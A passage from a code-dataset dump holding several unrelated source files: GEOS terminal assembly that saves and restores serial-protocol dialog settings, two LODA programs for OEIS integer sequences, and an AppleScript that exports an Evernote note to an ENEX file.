mov si, offset ProtocolUI:ComList
call GenItemGroupGetSelection ; ax = selection
mov ds:[si].PII_comListState, ax
mov si, offset ProtocolUI:BaudList
call GenItemGroupGetSelection ; ax = selection
mov ds:[si].PII_baudListState, ax
mov si, offset ProtocolUI:DataList
call GenItemGroupGetSelection ; ax = selection
mov ds:[si].PII_dataListState, ax
mov si, offset ProtocolUI:ParityList
call GenItemGroupGetSelection ; ax = selection
mov ds:[si].PII_parityListState, ax
mov si, offset ProtocolUI:StopList
call GenItemGroupGetSelection ; ax = selection
mov ds:[si].PII_stopListState, ax
mov si, offset ProtocolUI:FlowList
call GenBooleanGroupGetSelectedBooleans ; ax = selected booleans
mov ds:[si].PII_flowListState, ax
mov si, offset ProtocolUI:StopRemoteList
call GenBooleanGroupGetSelectedBooleans ; ax = selected booleans
mov ds:[si].PII_stopRemoteListState, ax
mov si, offset ProtocolUI:StopLocalList
mov ax, MSG_GEN_BOOLEAN_GROUP_GET_SELECTED_BOOLEANS
mov di, mask MF_CALL or mask MF_FIXUP_DS
call GenBooleanGroupGetSelectedBooleans ; ax = selected booleans
mov ds:[si].PII_stopLocalListState, ax
ret
StoreProtocolSettings endm
GenItemGroupGetSelection proc near
mov ax, MSG_GEN_ITEM_GROUP_GET_SELECTION
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage ; ax = selection
call ProtocolInteractionDeref
ret
GenItemGroupGetSelection endp
GenBooleanGroupGetSelectedBooleans proc near
mov ax, MSG_GEN_BOOLEAN_GROUP_GET_SELECTED_BOOLEANS
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage ; ax = selected booleans
call ProtocolInteractionDeref
ret
GenBooleanGroupGetSelectedBooleans endp
ProtocolInteractionDeref proc near
mov si, offset ProtocolBox
mov si, ds:[si]
add si, ds:[si].ProtocolInteraction_offset
ret
ProtocolInteractionDeref endp
TermDoneProtocolInteraction method TermClass, \
MSG_DONE_PROTOCOL_INTERACTION
mov es:[protocolInteraction], FALSE
call TermDisplayProtocolWarningBoxIfNeeded
ret
TermDoneProtocolInteraction endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
TermResetProtocol
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: handle "reset" in Protocol box
CALLED BY:
PASS: es - dgroup
RETURN: nothing
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
brianc 07/22/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ProtocolInteractionReset method ProtocolInteractionClass, MSG_GEN_RESET
;we make this assumption in ProtocolInteractionDeref
EC < cmp si, offset ProtocolBox >
EC < ERROR_NE 0 >
;
; fetch and restore the states of the various gadgets in the dialog
;
GetResourceHandleNS ProtocolUI, bx
call ProtocolInteractionDeref
mov cx, ds:[si].PII_comListState
mov si, offset ProtocolUI:ComList
call GenItemGroupSetSingleSelection
mov cx, ds:[si].PII_baudListState
mov si, offset ProtocolUI:BaudList
call GenItemGroupSetSingleSelection
mov cx, ds:[si].PII_dataListState
mov si, offset ProtocolUI:DataList
push cx
call GenItemGroupSetSingleSelection
pop cx
mov ax, MSG_TERM_ADJUST_USER_FORMAT
call SendStatusToProc
mov cx, ds:[si].PII_parityListState
mov si, offset ProtocolUI:ParityList
call GenItemGroupSetSingleSelection
mov cx, ds:[si].PII_stopListState
mov si, offset ProtocolUI:StopList
call GenItemGroupSetSingleSelection
mov cx, ds:[si].PII_flowListState
mov si, offset ProtocolUI:FlowList
push cx
call GenBooleanGroupSetGroupState
pop cx
mov ax, MSG_TERM_SET_USER_FLOW
call SendStatusToProc
mov cx, ds:[si].PII_stopRemoteListState
mov si, offset ProtocolUI:StopRemoteList
push cx
call GenBooleanGroupSetGroupState
pop cx
mov ax, MSG_TERM_USER_STOP_REMOTE_SIGNAL
call SendStatusToProc
mov cx, ds:[si].PII_stopLocalListState
mov si, offset ProtocolUI:StopLocalList
call GenBooleanGroupSetGroupState
;
; disable Apply/Reset
;
GetResourceHandleNS ProtocolBox, bx
mov si, offset ProtocolBox
mov ax, MSG_GEN_MAKE_NOT_APPLYABLE
mov di, mask MF_CALL
call ObjMessage
ret
ProtocolInteractionReset endm
GenItemGroupSetSingleSelection proc near
clr dx
mov ax, MSG_GEN_ITEM_GROUP_SET_SINGLE_SELECTION
mov di, mask MF_CALL
call ObjMessage ; ax = selection
call ProtocolInteractionDeref
ret
GenItemGroupSetSingleSelection endp
GenBooleanGroupSetGroupState proc near
clr dx
mov ax, MSG_GEN_BOOLEAN_GROUP_SET_GROUP_STATE
mov di, mask MF_CALL
call ObjMessage
call ProtocolInteractionDeref
ret
GenBooleanGroupSetGroupState endp
SendStatusToProc proc near
mov bp, cx ; simulate turning on this one
mov bx, es:[termProcHandle]
mov di, mask MF_FIXUP_DS
call ObjMessage
GetResourceHandleNS ProtocolUI, bx
call ProtocolInteractionDeref
ret
SendStatusToProc endp
endif ; !_TELNET
|
programs/oeis/132/A132914.asm | karttu/loda | 0 | 15386 | ; A132914: a(n) = floor(sqrt(n) + n^(1/3)).
; 2,2,3,3,3,4,4,4,5,5,5,5,5,6,6,6,6,6,7,7,7,7,7,7,7,8,8,8,8,8,8,8,8,9,9,9,9,9,9,9,9,9,10,10,10,10,10,10,10,10,10,10,11,11,11,11,11,11,11,11,11,11,11,12,12,12,12,12
lpb $0,1
sub $0,1
add $2,1
sub $0,$2
mov $3,8
lpb $2,1
mov $2,$0
sub $0,1
lpe
add $1,$3
lpe
div $1,8
add $1,2
|
evernote/note_export_enex_with_nbname.applescript | kinshuk4/evernote-automation | 4 | 3628 | on run {note_name, notebook_name, enex_path}
run script (POSIX file "/Users/IceHe/Documents/AppleScript/Evernote/evernote_launch.applescript")
tell application "Evernote"
set note_found to find notes "notebook:\"" & notebook_name & "\" intitle:\"" & note_name & "\""
if 1 = (count of note_found) then
export note_found to (POSIX file enex_path)
return true
end if
return false
end tell
end run |
oeis/035/A035265.asm | neoneye/loda-programs | 11 | 178772 | <reponame>neoneye/loda-programs
; A035265: One half of deca-factorial numbers.
; 1,12,264,8448,354816,18450432,1143926784,82362728448,6753743732736,621344423411712,63377131187994624,7098238693055397888,865985120552758542336,114310035912964127588352,16232025099640906117545984,2467267815145417729866989568,399697386053557672238452310016,68747950401211919625013797322752,12512126973020569371752511112740864,2402328378819949319376482133646245888,485270332521629762514049390996541669376,102877310494585509652978470891266833907712,22838762929797983142961220537861237127512064
mov $1,1
mov $2,2
lpb $0
sub $0,1
add $2,10
mul $1,$2
lpe
mov $0,$1
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.